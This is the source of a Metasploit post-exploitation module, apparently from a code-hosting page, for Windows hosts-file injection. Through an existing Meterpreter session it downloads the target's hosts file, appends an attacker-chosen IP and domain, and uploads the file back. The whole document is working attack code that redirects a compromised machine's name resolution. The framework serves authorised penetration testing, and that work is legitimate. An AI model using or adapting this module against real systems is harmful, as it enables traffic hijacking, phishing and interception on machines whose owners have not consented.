Path: blob/master/modules/post/windows/manage/inject_host.rb
19851 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'English'6class MetasploitModule < Msf::Post78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Windows Manage Hosts File Injection',13'Description' => %q{14This module allows the attacker to insert a new entry into the target15system's hosts file.16},17'License' => BSD_LICENSE,18'Author' => [ 'vt <nick.freeman[at]security-assessment.com>'],19'Platform' => [ 'win' ],20'SessionTypes' => [ 'meterpreter' ],21'Compat' => {22'Meterpreter' => {23'Commands' => %w[24core_channel_close25core_channel_eof26core_channel_open27core_channel_read28core_channel_tell29core_channel_write30stdapi_fs_stat31]32}33},34'Notes' => {35'Stability' => [CRASH_SAFE],36'SideEffects' => [CONFIG_CHANGES],37'Reliability' => []38}39)40)4142register_options([43OptString.new('DOMAIN', [ true, 'Domain name for host file manipulation.' ]),44OptString.new('IP', [ true, 'IP address to point domain name to.' ])45])46end4748def run49ip = datastore['IP']50hostname = datastore['DOMAIN']5152if ip.blank? || hostname.blank?53fail_with(Failure::BadConfig, 'Please specify both DOMAIN and IP.')54end5556hosts_file_path = session.sys.config.getenv('SYSTEMROOT') + '\\System32\\drivers\\etc\\hosts'5758meterp_temp = Tempfile.new('meterp')59meterp_temp.binmode60temp_path = meterp_temp.path6162begin63# Download the remote file to the temporary file64client.fs.file.download_file(temp_path, hosts_file_path)65rescue Rex::Post::Meterpreter::RequestError => e66# If the file doesn't exist, then it's okay. Otherwise, throw the error67raise $ERROR_INFO unless e.result == 268end6970print_status("Inserting hosts file entry pointing #{hostname} to #{ip}..")71hostsfile = ::File.open(temp_path, 'ab')72hostsfile.write("\r\n#{ip}\t#{hostname}")73hostsfile.close7475client.fs.file.upload_file(hosts_file_path, temp_path)76print_good('Done!')77end78end798081